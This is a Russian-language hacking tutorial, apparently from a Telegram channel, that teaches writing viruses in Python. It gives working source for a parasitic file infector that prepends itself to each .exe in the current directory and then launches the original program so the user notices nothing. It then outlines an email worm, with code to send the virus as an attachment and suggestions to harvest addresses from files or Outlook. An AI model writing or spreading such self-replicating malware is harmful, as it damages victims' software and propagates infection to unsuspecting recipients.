HLLx Вирус на Python {BlackCoding}
https://tele.click/darkside_team
Ни для кого не секрет, что Python помогает решать множество рутинных задач: периодическое резервное копирование файлов, отправка писем по e-mail, поиск и выполнение массы действий с файлами на харде и прочее. По причине того, что Python является языком программирования высокого уровня и сложен в освоении(но это не точно)), то и уровень вирусов которые мы можем написать высокий. Вирусы, написанные с помощью ЯВУ, чаще всего классифицируются как HLLx (High Level Language, x — метод размножения).
Существуют несколько главных подвидов HLLx-вирусов:
- Оверврайтеры (Overwrite) — HLLO,
- компаньоны (Companion) — HLLC, и
- паразиты (Parasitic) — HLLP.
Первые представляют из себя примитивные программы, просто переписывающие код жертвы своим кодом, из-за чего оригинальная программа перестает нормально функционировать. Такие вирусы очень разрушительны при своей простоте. По итогу заражения такой заразой компьютер пользователя практически полностью лишается всего установленного ПО. Короче, вандализм чистой воды.
Вирусы-компаньоны более доброжелательны к тем файлам, которые они «заражают». Слово «заражают» взято в кавычки не просто так, ибо, на самом деле HLLC-зловреды просто присваивают себе имя жертвы, а оригинальный exe-шник переименовывают или шифруют во что-нибудь иное. Так они подменяют пользовательский софт своими копиями, после чего запускают оригинальную программу из файла с новым именем. И юзер ничего не заметил, и вирус остался целым и невредимым. HLLP являются самыми сложными из ЯВУ-вирусов. Они проникают напрямую в файл-жертву, но при этом сохраняют работоспособность его кода. Из-за некоторых сложностей высокоуровневых языков программирования полноценного заражения, как у «взрослых» вирусов написанных на ассемблере, добиться почти нереально. Поэтому паразиты получаются не самыми эстетическими, но, к нашему разочарованию, это максимум того, что можно получить из ЯВУ.
По той причине, что как HLLO-, так и HLLC-вирусы слишком однобоки и на практике не встречаются нигде, мы рассмотрим разработку зловреда-паразита. Основной принцип, который они используют для заражения — внедрение в один файл с кодом-жертвой.
Так сохраняется код оригинальной программы, и при этом не привлекает лишнего внимания.
Существует масса вариаций на тему HLLP-зловредов, но мы попробуем реализовать простейшую из них. Вирус будет вписывать в начало файла жертвы свое собственное тело — полностью, со всеми заголовками и служебными структурами. Код «хорошей» программы при этом будет смещен на длину вируса. Получается, сперва будет выполняться вирус, который в конце своих делишек запустит оригинальную программу, для того чтобы лишний раз не вызывать подозрения у юзера.
Время кодить!
Итак, сначала код, под объяснения, поехали
import sys import os import shutil virPath = os.path.split(sys.argv[0]); names = os.listdir('.'); fvir = open(sys.argv[0], 'rb'); virData = fvir.read(19456); for name in names: namePair = os.path.splitext(name); if namePair[1] == '.exe' and name != virPath[1]: os.rename(name, name + 'tmp'); fprog = open(name + 'tmp', 'rb'); progData = fprog.read(); fnew = open(name, ‘wb’); fnew.write(virData + progData); fnew.close(); fprog.close(); os.remove(name + 'tmp'); origProgData = fvir.read(); origProg = 'original_' + virPath[1]; forig = open(origProg, 'wb'); forig.write(origProgData); fvir.close(); forig.close(); os.execl(origProg, ' '); # P.S Могут быть ошибки по типу Syntax Error, эот из-за того, что телетайп подлагивает и недаёт написать нормально код
Теперь разберём код:
Сначала мы подключаем три модуля: sys, os, shutil. Модуль sys позволяет получить доступ к переменным, которые тесно связаны с интерпретатором или с выполняемым скриптом. Таким образом, мы получаем имя выполняемого скрипта благодаря команде sys.argv[0]. Модуль os дает возможность выполнения команд, которые зависят от операционной системы. Например, получить список файлов в директории, провести определенные операции над ними и так далее. Наконец, модуль shutil позволяет копировать и перемещать файлы на жестком диске.
После импорта нужных нам модулей мы получаем имя файла, в котором содержится исходный код вируса. А при помощи команды os.listdir(‘.’) получаем список файлов в текущей директории и проверяем, является ли очередной объект в списке exe-шником.
Если проверка подтверждает этот факт, то заражаем файл который нашли, просто заменив его собой. Внимательный читатель мог заметить, что в условии оператора if присутствует еще вот такая инструкция:
name != virPath[1],
Но сначала выполняется команда
virPath = os.path.split(sys.argv[0]).
В конце статьи я расскажу что для чего это нужно, а сейчас продолжим. Перед оператором if мы считываем в память собственное содержимое. Достигается это командой fvir. read(19456). Число 19456 — это длина вируса (не забываем, что в файле находится не только вирус, но и жертва). Почему указанна именно такая длина я тоже скажу позже. Далее ищем в текущей папке все exe-шники и инфицируем их. Просто заранее переименовав невинную программку, мы читаем ее код в буфер, после чего создаем новый файл с нужным нам именем и пишем туда сначала тело вируса, а после — считанный только что буфер. Дальше сохраним все это и удаляем оригинальный файл жертвы при помощи команды os.remove(name+’tmp’).
А вот сейчас настал самый ответственный момент — наша задача запустить оригинальный код, который мы предварительно засунули внутрь вируса. Для этого мы читаем то, что осталлось от данных из образа вируса (помните? Мы уже читали 19456 байт и указатель сместился в файле на эту позицию?), после этого сохраняем полученные показания во временный exe, который далее запустим. Так наш вирус вирус правильно отработал, и при этом запустил нужную для все еще ничего не подозревающего юзера программу.
Безусловно, наш вирус вышел неидеальным. Для примера, он не проверяет, инфицирован ли уже экзешник или нет, да и вбивать в код размер конечного файла вируса — не самый удобный способ. Более того, у нашего зловреда возникнут проблемы при первом старте, когда в образе находится только тело виря, а тело жертвы отсутствует. Но данные проблемы можно решить, как и любые другие.
Самое основное — показать принцип работы.
Сетевой червь
Мы создали классического инфектора, распространяется который заражая близлежащие программы. Но ведь существуют также и сетевые черви, которые используют интернет для своих мелких пакостей. Зловредам такого типа неинтересна файловая система компьютера, им нужен доступ в сеть.
Для распространения черви используют дыры в ОС и программах, рассылают себя по электронной почте и прочее. Давайте попытаемся сделать вирус, которому нужны будут именно e-mail’ы
Сначала предлагаю посмотреть, как при помощи Python отправлять письма. Маленький пример, от которого мы будем плясать в будущем:
Отправка письма:
import smtplib from email.mime.text import MIMEText msg = MIMEText('Message text') # me == email отправителя # you == email получателя msg['Subject'] = 'Test message' msg['From'] = me msg['To'] = you s = smtplib.SMTP('') s.sendmail(me, [you], msg.as_string()) s.quit()
На данномтапе мы пользуемся библиотекой smtplib и входящий в нее пакет MIMEText. Код и так слишком простой, поэтому не требует особых разъяснений. Но на что стоит обратить внимание, так это на авторизацию на SMTP-сервере. Если, внезапно, для отправки сообщения требуется логин и пароль, то нужно буд��т вызвать еще одну дополнительную функцию. Так как наш вирус является файлом, нам надо прикрепить его к письму. Для этого придется импортировать еще несколько вспомогательных библиотек и написать немного кода.
Сейчас покажу как примерно это должно выглядеть
Отправка письма с вложением:
import smtplib import mimetypes from email import encoders from email.mime.multipart import MIMEMultipart from email.mime.base import MIMEBase outer = MIMEMultipart() # me == email отправителя # you == email получателя outer['Subject'] = ‘Test message’ outer['From'] = me outer['To'] = you ctype, encoding = mimetypes.guess_type(path_to_file) if ctype is None or encoding is not None: ctype = 'application/octet-stream' maintype, subtype = ctype.split(‘/’, 1) fp = open(path_to_file, ‘rb’) msg = MIMEBase(maintype, subtype) msg.set_payload(fp.read()) fp.close() encoders.encode_base64(msg) msg.add_header('Content-Disposition', 'attachment', filename=file_name) outer.attach(msg) s = smtplib.SMTP('') s.sendmail(me, [you], outer.as_string()) s.quit()
В импорте у нас появилась библиотека mimetypes, и модули encoders, MIMEMultipart и MIMEBase. MIMEMultipart формирует e-mail из разных видов данных (тексты, пикяи и прочее). MIMEBase работает с файлами произвольного типа — exe. За основу сообщения мы возьмём переменную типа MIMEMultipart и добавим к ней объект MIMEBase, в который до этого считали и декодировали в base64 содержимое файла что нам нужен.
В финале, когда вирус уже сам может отправлять себя в электронном сообщении, дело осталось за малым — найти, кому отправить e-mail. Тут вы можете фантазировать как вашей душе угодно. К примеру, всегда можно поискать адреса на харде , просканировав все файлы. Или можно использовать адресную книгу Outlook, но для этлго тебе будет нужен пакет Python Win32 Extensions.
Несколько замечаний
Из-за того, что наши зловреды выполняются не как скрипты, а как полноценные win-приложения, в коде присутствует пара непонятных вещей, о которых я пообещал рассказать позже. Первая из них — это вызов os.path.split(). Так вот, если мы запускаем питон-скрипт, то команда sys.argv[0] возвращает имя этого скрипта (например, virus.py). Но на примере с exeфайлом результат будет иным — полный путь и имя экзешника (C:\Windows\virus.exe). А так как для дальнейших действий нам нужно только наименование файла, то мы вызываем os.path.split().
Еще один непонятный момент — это число 19456. Но тут многие из вас уже догадались, что это размер exe, полученного после конвертации скрипта. Мой вирус весил столько после своего перерождения в бинарный формат.